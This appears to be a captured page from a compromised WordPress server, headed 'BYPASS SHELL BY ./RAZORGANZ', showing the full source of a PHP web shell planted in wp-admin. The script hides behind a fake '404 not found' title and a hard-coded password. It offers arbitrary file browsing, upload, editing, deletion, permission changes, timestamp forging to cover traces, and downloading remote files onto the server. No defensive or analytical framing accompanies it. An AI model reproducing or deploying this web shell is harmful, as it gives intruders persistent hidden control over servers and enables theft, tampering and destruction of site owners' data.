BYPASS SHELL BY ./RAZORGANZ
Server: nginx/1.20.1
System: Linux iZdzfnv9mwfppeZ 5.10.134-19.2.al8.x86_64 #1 SMP Wed Oct 29 22:47:09 CST 2025 x86_64
User: apache (48)
PHP: 8.2.30
Disabled: NONE
Upload Files
File: /var/www/html/wp-admin/ko.php
<?php
// Enhanced File Manager Script with Permission Control
// Password protection
session_start();
$password = 'kiss';

if (!isset($_SESSION['authenticated'])) {
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['password'])) {
        if ($_POST['password'] === $password) {
            $_SESSION['authenticated'] = true;
        } else {
            echo "<p style='color:red;'>Incorrect password. Please try again.</p>";
        }
    }

    if (!isset($_SESSION['authenticated'])) {
        echo '<!DOCTYPE html><html><head><title>404 not found</title></head><body>';
        echo '<div style="text-align:center; margin-top:100px;">';
        echo '<h2>File Manager Access</h2>';
        echo '<form method="post">';
        echo '<input type="password" name="password" placeholder="Enter password" required>';
        echo '<br><br><input type="submit" value="Login">';
        echo '</form></div></body></html>';
        exit;
    }
}

// Function to get available drives
function getAvailableDrives() {
    $drives = array();
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        foreach (range('A', 'Z') as $letter) {
            $drive_path = $letter . ':\\';
            if (is_dir($drive_path)) {
                $drives[] = $letter . ':';
            }
        }
        if (empty($drives)) {
            $common_drives = array('C:', 'D:', 'E:');
            foreach ($common_drives as $drive) {
                $drive_path = $drive . '\\';
                if (is_dir($drive_path)) {
                    $drives[] = $drive;
                }
            }
        }
    } else {
        $drives[] = '/';
    }
    return $drives;
}

// Function to convert path to filesystem separators
function fsPath($path) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        return str_replace('/', '\\', $path);
    } else {
        return str_replace('\\', '/', $path);
    }
}

// Function to generate breadcrumbs
function generateBreadcrumbs($root, $current_dir) {
    $breadcrumbs = "<a href='?drive=" . urlencode($root) . "'>Root</a>";
    
    if (!empty($current_dir)) {
        $current_dir = trim($current_dir, '/');
        $path_parts = explode('/', $current_dir);
        $current_path = '';
        
        foreach ($path_parts as $part) {
            if ($part !== '') {
                $current_path .= '/' . $part;
                $breadcrumbs .= " &gt; <a href='?drive=" . urlencode($root) . "&dir=" . urlencode($current_path) . "'>" . htmlspecialchars($part) . "</a>";
            }
        }
    }
    
    return $breadcrumbs;
}

// Function to safely delete directory
function deleteDirectory($dir) {
    if (!is_dir($dir)) {
        return unlink($dir);
    }
    
    $files = array_diff(scandir($dir), array('.', '..'));
    foreach ($files as $file) {
        $path = $dir . DIRECTORY_SEPARATOR . $file;
        if (is_dir($path)) {
            deleteDirectory($path);
        } else {
            unlink($path);
        }
    }
    return rmdir($dir);
}

// Function to format file size
function formatBytes($size, $precision = 2) {
    $base = log($size, 1024);
    $suffixes = array('B', 'KB', 'MB', 'GB', 'TB');
    return round(pow(1024, $base - floor($base)), $precision) .' '. $suffixes[floor($base)];
}

// Function to get file permissions in octal format
function getPermissions($file) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        return 'N/A (Windows)';
    }
    return substr(sprintf('%o', fileperms($file)), -4);
}

// Function to get human-readable permissions
function getPermissionsString($file) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        return is_writable($file) ? 'Writable' : 'Read-only';
    }
    
    $perms = fileperms($file);
    $info = '';
    
    // Owner
    $info .= (($perms & 0x0100) ? 'r' : '-');
    $info .= (($perms & 0x0080) ? 'w' : '-');
    $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
    
    // Group
    $info .= (($perms & 0x0020) ? 'r' : '-');
    $info .= (($perms & 0x0010) ? 'w' : '-');
    $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
    
    // World
    $info .= (($perms & 0x0004) ? 'r' : '-');
    $info .= (($perms & 0x0002) ? 'w' : '-');
    $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x') : (($perms & 0x0200) ? 'T' : '-'));
    
    return $info;
}

// Get available drives
$available_drives = getAvailableDrives();

// Get current working directory to start from script location
$script_dir = str_replace('\\', '/', dirname(__FILE__));

// Set the root directory
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    $drive_letter = substr($script_dir, 0, 2);
    $root = in_array($drive_letter, $available_drives) ? $drive_letter : $available_drives[0];
} else {
    $root = '/';
}

// If a specific drive is selected, use that instead
if (isset($_GET['drive']) && in_array($_GET['drive'], $available_drives)) {
    $root = $_GET['drive'];
}

// Construct root path
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
    $root_path = $root . '\\';
} else {
    $root_path = $root;
}

// Get the current directory
$current_dir = isset($_GET['dir']) ? $_GET['dir'] : '';

// If no directory specified and no GET parameter, start from script directory
if (empty($current_dir) && !isset($_GET['dir'])) {
    if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
        $script_path = str_replace('\\', '/', dirname(__FILE__));
        if (strlen($script_path) > 2) {
            $current_dir = substr($script_path, 3);
        }
    } else {
        $script_path = dirname(__FILE__);
        $current_dir = ($script_path === '/') ? '' : ltrim($script_path, '/');
    }
}

$current_dir = str_replace('\\', '/', $current_dir);

// Build full path
$appended = fsPath(ltrim($current_dir, '/'));
if ($appended) {
    $full_path = rtrim($root_path, DIRECTORY_SEPARATOR) . DIRECTORY_SEPARATOR . $appended;
} else {
    $full_path = $root_path;
}

$upload_message = '';
$error_message = '';

// Handle custom path input
if (isset($_POST['custom_path'])) {
    $custom_path = fsPath($_POST['custom_path']);
    if (is_dir($custom_path) && is_readable($custom_path)) {
        $full_path = $custom_path;
        if (strpos($custom_path, $root_path) === 0) {
            $current_dir = substr($custom_path, strlen($root_path));
            $current_dir = str_replace(DIRECTORY_SEPARATOR, '/', $current_dir);
        } else {
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
                $drive_letter = substr($custom_path, 0, 2);
                if (in_array($drive_letter, $available_drives)) {
                    $root = $drive_letter;
                    $root_path = $root . '\\';
                    $current_dir = substr($custom_path, strlen($root_path));
                    $current_dir = str_replace(DIRECTORY_SEPARATOR, '/', $current_dir);
                }
            }
        }
    }
}

// Ensure path exists and is readable
if (!is_dir($full_path) || !is_readable($full_path)) {
    $full_path = $root_path;
    $current_dir = '';
}

// Handle file operations
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (isset($_POST['action'])) {
        switch ($_POST['action']) {
            case 'chmod':
                if (isset($_POST['filename']) && isset($_POST['permission'])) {
                    $file_to_chmod = $full_path . DIRECTORY_SEPARATOR . $_POST['filename'];
                    $permission = $_POST['permission'];
                    
                    // Validate permission format
                    if (preg_match('/^[0-7]{3,4}$/', $permission)) {
                        $octal_permission = octdec($permission);
                        
                        if (file_exists($file_to_chmod)) {
                            if (chmod($file_to_chmod, $octal_permission)) {
                                $upload_message = "Permissions changed successfully to " . $permission;
                            } else {
                                $error_message = "Failed to change permissions. Check if you have the necessary rights.";
                            }
                        } else {
                            $error_message = "File or directory not found.";
                        }
                    } else {
                        $error_message = "Invalid permission format. Use octal notation (e.g., 0755, 0644).";
                    }
                }
                break;
                
            case 'create_file':
                if (isset($_POST['filename']) && !empty($_POST['filename'])) {
                    $new_file = $full_path . DIRECTORY_SEPARATOR . basename($_POST['filename']);
                    if (file_put_contents($new_file, '') !== false) {
                        $upload_message = "File created successfully.";
                    } else {
                        $error_message = "Failed to create file.";
                    }
                }
                break;
                
            case 'create_folder':
                if (isset($_POST['foldername']) && !empty($_POST['foldername'])) {
                    $new_folder = $full_path . DIRECTORY_SEPARATOR . basename($_POST['foldername']);
                    if (mkdir($new_folder)) {
                        $upload_message = "Folder created successfully.";
                    } else {
                        $error_message = "Failed to create folder.";
                    }
                }
                break;
                
            case 'rename':
                if (isset($_POST['old_name']) && isset($_POST['new_name']) && !empty($_POST['new_name'])) {
                    $old_name = $full_path . DIRECTORY_SEPARATOR . $_POST['old_name'];
                    $new_name = $full_path . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
                    if (file_exists($old_name) && rename($old_name, $new_name)) {
                        $upload_message = "Item renamed successfully.";
                    } else {
                        $error_message = "Failed to rename item.";
                    }
                }
                break;
                
            case 'delete':
                if (isset($_POST['filename'])) {
                    $file_to_delete = $full_path . DIRECTORY_SEPARATOR . $_POST['filename'];
                    if (file_exists($file_to_delete)) {
                        if (is_dir($file_to_delete)) {
                            if (deleteDirectory($file_to_delete)) {
                                $upload_message = "Directory deleted successfully.";
                            } else {
                                $error_message = "Failed to delete directory.";
                            }
                        } else {
                            if (unlink($file_to_delete)) {
                                $upload_message = "File deleted successfully.";
                            } else {
                                $error_message = "Failed to delete file.";
                            }
                        }
                    }
                }
                break;
                
            case 'upload':
                if (isset($_FILES['fileToUpload']) && $_FILES['fileToUpload']['error'] === UPLOAD_ERR_OK) {
                    $target_file = $full_path . DIRECTORY_SEPARATOR . basename($_FILES['fileToUpload']['name']);
                    if (move_uploaded_file($_FILES['fileToUpload']['tmp_name'], $target_file)) {
                        $upload_message = "File uploaded successfully.";
                    } else {
                        $error_message = "Failed to upload file.";
                    }
                } else {
                    $error_message = "Upload error occurred.";
                }
                break;
                
            case 'save':
                if (isset($_POST['filename']) && isset($_POST['content'])) {
                    $file_to_save = $full_path . DIRECTORY_SEPARATOR . $_POST['filename'];
                    if (file_put_contents($file_to_save, $_POST['content']) !== false) {
                        $upload_message = "File saved successfully.";
                    } else {
                        $error_message = "Failed to save file.";
                    }
                }
                break;
                
            case 'change_timestamp':
                if (isset($_POST['filename']) && isset($_POST['timestamp'])) {
                    $file_to_modify = $full_path . DIRECTORY_SEPARATOR . $_POST['filename'];
                    $timestamp_input = $_POST['timestamp'];
                    
                    if (file_exists($file_to_modify)) {
                        $timestamp = strtotime($timestamp_input);
                        
                        if ($timestamp !== false) {
                            if (touch($file_to_modify, $timestamp, $timestamp)) {
                                $upload_message = "Timestamp updated successfully for: " . htmlspecialchars($_POST['filename']);
                            } else {
                                $error_message = "Failed to update timestamp.";
                            }
                        } else {
                            $error_message = "Invalid timestamp format.";
                        }
                    } else {
                        $error_message = "File or directory not found.";
                    }
                }
                break;
                
            case 'remote_download':
                if (isset($_POST['url']) && !empty($_POST['url'])) {
                    $url = $_POST['url'];
                    $custom_name = isset($_POST['custom_name']) && !empty($_POST['custom_name']) ? basename($_POST['custom_name']) : basename(parse_url($url, PHP_URL_PATH));
                    if (empty($custom_name)) {
                        $custom_name = 'downloaded_file';
                    }
                    $target_file = $full_path . DIRECTORY_SEPARATOR . $custom_name;
                    $data = false;
                    
                    if (function_exists('curl_init')) {
                        $ch = curl_init($url);
                        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
                        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
                        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
                        curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36');
                        $data = curl_exec($ch);
                        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
                        curl_close($ch);
                        
                        if ($httpCode >= 200 && $httpCode < 300) {
                            $data = $data;
                        } else {
                            $data = false;
                        }
                    } else {
                        $context = stream_context_create(array(
                            'http' => array(
                                'method' => 'GET',
                                'header' => 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
                            )
                        ));
                        $data = @file_get_contents($url, false, $context);
                    }
                    
                    if ($data !== false && file_put_contents($target_file, $data) !== false) {
                        $upload_message = "Remote file downloaded successfully.";
                    } else {
                        $error_message = "Failed to download remote file.";
                    }
                } else {
                    $error_message = "Invalid URL provided.";
                }
                break;
        }
    }
}

// Handle file download
if (isset($_GET['download'])) {
    $file_to_download = $full_path . DIRECTORY_SEPARATOR . $_GET['download'];
    if (file_exists($file_to_download) && is_file($file_to_download)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file_to_download).'"');
        header('Expires: 0');
        header('Cache-Control: must-revalidate');
        header('Pragma: public');
        header('Content-Length: ' . filesize($file_to_download));
        readfile($file_to_download);
        exit;
    }
}

// Handle file view
if (isset($_GET['view'])) {
    $file_to_view = $full_path . DIRECTORY_SEPARATOR . $_GET['view'];
    if (file_exists($file_to_view) && is_file($file_to_view) && is_readable($file_to_view)) {
        $content = file_get_contents($file_to_view);
        $content = htmlspecialchars($content);
        echo "<!DOCTYPE html><html><head><title>View: " . htmlspecialchars($_GET['view']) . "</title>";
        echo "<style>body{font-family:monospace;margin:20px;} pre{background:#f4f4f4;padding:15px;border-radius:5px;overflow-x:auto;}</style></head><body>";
        echo "<h2>File: " . htmlspecialchars($_GET['view']) . "</h2>";
        echo "<pre>" . $content . "</pre>";
        echo "<br><a href='javascript:history.back()' style='background:#007cba;color:white;padding:8px 16px;text-decoration:none;border-radius:3px;'>Go Back</a>";
        echo "</body></html>";
        exit;
    }
}

// Get directory contents safely
$contents = array();
if (is_dir($full_path) && is_readable($full_path)) {
    $scan_result = scandir($full_path);
    if ($scan_result !== false) {
        $contents = $scan_result;
    }
}

?>
<!DOCTYPE html>
<html>
<head>
    <title>404 not found</title>
    <meta charset="UTF-8">
    <style>
        body { font-family: Arial, sans-serif; margin: 0; padding: 20px; background: #f5f5f5; }
        .container { max-width: 1400px; margin: 0 auto; background: white; padding: 20px; border-radius: 8px; box-shadow: 0 2px 10px rgba(0,0,0,0.1); }
        .header { border-bottom: 2px solid #007cba; padding-bottom: 15px; margin-bottom: 20px; }
        .drive-selector { margin: 10px 0; }
        .drive-selector select { padding: 5px; margin-right: 10px; }
        .breadcrumbs { background: #e9f4ff; padding: 10px; border-radius: 5px; margin: 10px 0; }
        .operations { display: flex; flex-wrap: wrap; gap: 10px; margin: 15px 0; }
        .operation-form { background: #f8f9fa; padding: 15px; border-radius: 5px; border: 1px solid #ddd; }
        .operation-form h4 { margin-top: 0; color: #007cba; }
        .operation-form input, .operation-form textarea { margin: 5px 0; padding: 5px; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { padding: 10px; text-align: left; border-bottom: 1px solid #ddd; font-size: 13px; }
        th { background-color: #007cba; color: white; }
        tr:hover { background-color: #f5f5f5; }
        .file-icon { width: 16px; height: 16px; margin-right: 8px; }
        .folder { color: #007cba; font-weight: bold; }
        .file { color: #333; }
        .actions { white-space: nowrap; }
        .btn { background: #007cba; color: white; padding: 5px 10px; text-decoration: none; border-radius: 3px; border: none; cursor: pointer; margin: 2px; font-size: 12px; }
        .btn:hover { background: #005a87; }
        .btn-danger { background: #dc3545; }
        .btn-danger:hover { background: #c82333; }
        .btn-warning { background: #ffc107; color: #000; }
        .btn-warning:hover { background: #e0a800; }
        .message { padding: 10px; margin: 10px 0; border-radius: 5px; }
        .success { background: #d4edda; color: #155724; border: 1px solid #c3e6cb; }
        .error { background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
        .custom-path { margin: 15px 0; }
        .custom-path input[type="text"] { width: 300px; padding: 8px; }
        .file-editor { margin-top: 20px; padding: 15px; background: #f8f9fa; border-radius: 5px; }
        .file-editor textarea { width: 100%; min-height: 300px; font-family: monospace; }
        .permission-badge { background: #28a745; color: white; padding: 2px 6px; border-radius: 3px; font-family: monospace; font-size: 11px; }
        .permission-form { display: inline-block; margin-left: 5px; }
        .permission-form input[type="text"] { width: 60px; padding: 3px; font-family: monospace; }
        .permission-info { font-size: 11px; color: #666; font-family: monospace; }
    </style>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>Enhanced File Manager with Permissions</h1>
            <p>Current Path: <strong><?php $real_path = realpath($full_path); echo htmlspecialchars($real_path ? $real_path : $full_path); ?></strong></p>
            <p>Script Location: <strong><?php echo htmlspecialchars(dirname(__FILE__)); ?></strong></p>
            <p>OS: <strong><?php echo PHP_OS; ?></strong> | PHP Version: <strong><?php echo PHP_VERSION; ?></strong></p>
            
            <!-- Drive Selector -->
            <div class="drive-selector">
                <label>Select Drive: </label>
                <select onchange="window.location.href='?drive='+this.value">
                    <?php foreach ($available_drives as $drive): ?>
                        <option value="<?php echo htmlspecialchars($drive); ?>" <?php echo ($drive === $root) ? 'selected' : ''; ?>>
                            <?php echo htmlspecialchars($drive); ?>
                        </option>
                    <?php endforeach; ?>
                </select>
            </div>
        </div>

        <!-- Messages -->
        <?php if ($upload_message): ?>
            <div class="message success"><?php echo htmlspecialchars($upload_message); ?></div>
        <?php endif; ?>
        <?php if ($error_message): ?>
            <div class="message error"><?php echo htmlspecialchars($error_message); ?></div>
        <?php endif; ?>

        <!-- Breadcrumbs -->
        <div class="breadcrumbs">
            <strong>Navigation: </strong><?php echo generateBreadcrumbs($root, $current_dir); ?>
        </div>

        <!-- Custom Path -->
        <div class="custom-path">
            <form method="post" style="display: inline;">
                <label>Go to Path: </label>
                <input type="text" name="custom_path" placeholder="Enter full path..." value="<?php $real_path = realpath($full_path); echo htmlspecialchars($real_path ? $real_path : $full_path); ?>" style="width: 400px;">
                <input type="submit" value="Go" class="btn">
            </form>
            <button onclick="goToScriptDirectory()" class="btn" style="margin-left: 10px;">Go to Script Directory</button>
        </div>

        <!-- File Operations -->
        <div class="operations">
            <!-- Create File -->
            <div class="operation-form">
                <h4>Create File</h4>
                <form method="post">
                    <input type="hidden" name="action" value="create_file">
                    <input type="text" name="filename" placeholder="filename.txt" required>
                    <input type="submit" value="Create" class="btn">
                </form>
            </div>

            <!-- Create Folder -->
            <div class="operation-form">
                <h4>Create Folder</h4>
                <form method="post">
                    <input type="hidden" name="action" value="create_folder">
                    <input type="text" name="foldername" placeholder="folder name" required>
                    <input type="submit" value="Create" class="btn">
                </form>
            </div>

            <!-- Upload File -->
            <div class="operation-form">
                <h4>Upload File</h4>
                <form method="post" enctype="multipart/form-data">
                    <input type="hidden" name="action" value="upload">
                    <input type="file" name="fileToUpload" required>
                    <input type="submit" value="Upload" class="btn">
                </form>
            </div>

            <!-- Remote Download -->
            <div class="operation-form">
                <h4>Remote Download</h4>
                <form method="post">
                    <input type="hidden" name="action" value="remote_download">
                    <input type="url" name="url" placeholder="http://example.com/file.zip" required style="width: 250px;"><br>
                    <input type="text" name="custom_name" placeholder="custom filename (optional)" style="width: 250px;">
                    <input type="submit" value="Download" class="btn">
                </form>
            </div>
        </div>

        <?php if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN'): ?>
        <div style="background: #fff3cd; padding: 10px; border-radius: 5px; margin: 10px 0; border: 1px solid #ffc107;">
            <strong>Permission Guide:</strong>
            <span style="font-family: monospace; margin-left: 10px;">
                0777 = rwxrwxrwx (full access) | 
                0755 = rwxr-xr-x (standard dir) | 
                0644 = rw-r--r-- (standard file) | 
                0600 = rw------- (owner only)
            </span>
        </div>
        <?php endif; ?>

        <!-- Directory Listing -->
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Type</th>
                    <th>Size</th>
                    <th>Permissions</th>
                    <th>Modified</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
                <!-- Parent Directory -->
                <?php if (!empty($current_dir)): ?>
                    <?php 
                    $parent_dir = dirname($current_dir);
                    if ($parent_dir === '.' || $parent_dir === DIRECTORY_SEPARATOR) $parent_dir = '';
                    ?>
                    <tr>
                        <td colspan="6">
                            <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($parent_dir); ?>" class="folder">
                                📁 .. (Parent Directory)
                            </a>
                        </td>
                    </tr>
                <?php endif; ?>

                <!-- Directory Contents -->
                <?php
                $directories = array();
                $files = array();
                
                foreach ($contents as $item) {
                    if ($item === '.' || $item === '..') continue;
                    
                    $item_path = $full_path . DIRECTORY_SEPARATOR . $item;
                    if (is_dir($item_path)) {
                        $directories[] = $item;
                    } else {
                        $files[] = $item;
                    }
                }
                
                sort($directories);
                sort($files);
                
                // Display directories first
                foreach ($directories as $dir):
                    $dir_path = $full_path . DIRECTORY_SEPARATOR . $dir;
                    $dir_url = $current_dir ? $current_dir . '/' . $dir : $dir;
                    $perms = getPermissions($dir_path);
                    $perms_string = getPermissionsString($dir_path);
                ?>
                    <tr>
                        <td>
                            <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($dir_url); ?>" class="folder">
                                📁 <?php echo htmlspecialchars($dir); ?>
                            </a>
                        </td>
                        <td>Directory</td>
                        <td>-</td>
                        <td>
                            <span class="permission-badge"><?php echo $perms; ?></span>
                            <span class="permission-info"><?php echo $perms_string; ?></span>
                            <?php if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN'): ?>
                            <form method="post" class="permission-form">
                                <input type="hidden" name="action" value="chmod">
                                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                                <input type="text" name="permission" placeholder="0755" title="Enter octal permission (e.g., 0755)">
                                <input type="submit" value="Set" class="btn btn-warning">
                            </form>
                            <?php endif; ?>
                        </td>
                        <td>
                            <?php echo date('Y-m-d H:i:s', filemtime($dir_path)); ?>
                            <form method="post" style="display: inline; margin-left: 10px;">
                                <input type="hidden" name="action" value="change_timestamp">
                                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                                <input type="datetime-local" name="timestamp" value="<?php echo date('Y-m-d', filemtime($dir_path)) . 'T' . date('H:i', filemtime($dir_path)); ?>" style="width: 160px; padding: 3px; font-size: 11px;">
                                <input type="submit" value="⏱️" class="btn" style="padding: 3px 8px; font-size: 11px;" title="Change timestamp">
                            </form>
                        </td>
                        <td class="actions">
                            <form method="post" style="display: inline;">
                                <input type="hidden" name="action" value="rename">
                                <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($dir); ?>">
                                <input type="text" name="new_name" value="<?php echo htmlspecialchars($dir); ?>" style="width: 100px;">
                                <input type="submit" value="Rename" class="btn">
                            </form>
                            <form method="post" style="display: inline;">
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($dir); ?>">
                                <input type="submit" value="Delete" class="btn btn-danger" onclick="return confirm('Delete this directory?')">
                            </form>
                        </td>
                    </tr>
                <?php endforeach; ?>

                <!-- Display files -->
                <?php foreach ($files as $file):
                    $file_path = $full_path . DIRECTORY_SEPARATOR . $file;
                    $file_size = is_readable($file_path) ? filesize($file_path) : 0;
                    $perms = getPermissions($file_path);
                    $perms_string = getPermissionsString($file_path);
                ?>
                    <tr>
                        <td class="file">📄 <?php echo htmlspecialchars($file); ?></td>
                        <td>File</td>
                        <td><?php echo formatBytes($file_size); ?></td>
                        <td>
                            <span class="permission-badge"><?php echo $perms; ?></span>
                            <span class="permission-info"><?php echo $perms_string; ?></span>
                            <?php if (strtoupper(substr(PHP_OS, 0, 3)) !== 'WIN'): ?>
                            <form method="post" class="permission-form">
                                <input type="hidden" name="action" value="chmod">
                                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                                <input type="text" name="permission" placeholder="0644" title="Enter octal permission (e.g., 0644)">
                                <input type="submit" value="Set" class="btn btn-warning">
                            </form>
                            <?php endif; ?>
                        </td>
                        <td>
                            <?php echo date('Y-m-d H:i:s', filemtime($file_path)); ?>
                            <form method="post" style="display: inline; margin-left: 10px;">
                                <input type="hidden" name="action" value="change_timestamp">
                                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                                <input type="datetime-local" name="timestamp" value="<?php echo date('Y-m-d', filemtime($file_path)) . 'T' . date('H:i', filemtime($file_path)); ?>" style="width: 160px; padding: 3px; font-size: 11px;">
                                <input type="submit" value="⏱️" class="btn" style="padding: 3px 8px; font-size: 11px;" title="Change timestamp">
                            </form>
                        </td>
                        <td class="actions">
                            <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&view=<?php echo urlencode($file); ?>" class="btn">View</a>
                            <a href="?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&download=<?php echo urlencode($file); ?>" class="btn">Download</a>
                            <button onclick="editFile('<?php echo htmlspecialchars($file); ?>')" class="btn">Edit</button>
                            <form method="post" style="display: inline;">
                                <input type="hidden" name="action" value="rename">
                                <input type="hidden" name="old_name" value="<?php echo htmlspecialchars($file); ?>">
                                <input type="text" name="new_name" value="<?php echo htmlspecialchars($file); ?>" style="width: 100px;">
                                <input type="submit" value="Rename" class="btn">
                            </form>
                            <form method="post" style="display: inline;">
                                <input type="hidden" name="action" value="delete">
                                <input type="hidden" name="filename" value="<?php echo htmlspecialchars($file); ?>">
                                <input type="submit" value="Delete" class="btn btn-danger" onclick="return confirm('Delete this file?')">
                            </form>
                        </td>
                    </tr>
                <?php endforeach; ?>
            </tbody>
        </table>

        <!-- File Editor -->
        <div class="file-editor" id="file-editor" style="display: none;">
            <h3>File Editor</h3>
            <form method="post">
                <input type="hidden" name="action" value="save">
                <input type="hidden" name="filename" id="edit-filename">
                <textarea name="content" id="edit-content" placeholder="File content..."></textarea><br>
                <input type="submit" value="Save File" class="btn">
                <button type="button" onclick="document.getElementById('file-editor').style.display='none'" class="btn">Cancel</button>
            </form>
        </div>

        <div style="margin-top: 30px; padding-top: 20px; border-top: 1px solid #ddd; text-align: center; color: #666;">
            <p>Enhanced File Manager with Permission Control | PHP <?php echo PHP_VERSION; ?> | <?php echo PHP_OS; ?></p>
        </div>
    </div>

    <script>
        function editFile(filename) {
            const editor = document.getElementById('file-editor');
            const filenameInput = document.getElementById('edit-filename');
            const contentTextarea = document.getElementById('edit-content');
            
            filenameInput.value = filename;
            editor.style.display = 'block';
            
            const xhr = new XMLHttpRequest();
            xhr.open('GET', '?drive=<?php echo urlencode($root); ?>&dir=<?php echo urlencode($current_dir); ?>&view=' + encodeURIComponent(filename), true);
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    const parser = new DOMParser();
                    const doc = parser.parseFromString(xhr.responseText, 'text/html');
                    const preElement = doc.querySelector('pre');
                    if (preElement) {
                        contentTextarea.value = preElement.textContent;
                    }
                }
            };
            xhr.send();
            
            editor.scrollIntoView();
        }

        function goToScriptDirectory() {
            <?php 
            $script_path = str_replace('\\', '/', dirname(__FILE__));
            if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
                $drive = substr($script_path, 0, 2);
                $path = strlen($script_path) > 2 ? substr($script_path, 3) : '';
                echo "window.location.href = '?drive=" . urlencode($drive) . "&dir=" . urlencode($path) . "';";
            } else {
                $path = ($script_path === '/') ? '' : ltrim($script_path, '/');
                echo "window.location.href = '?drive=" . urlencode($root) . "&dir=" . urlencode($path) . "';";
            }
            ?>
        }

        document.addEventListener('DOMContentLoaded', function() {
            const pathInput = document.querySelector('input[name="custom_path"]');
            pathInput.addEventListener('focus', function() {
                this.select();
            });
        });
    </script>
</body>
</html>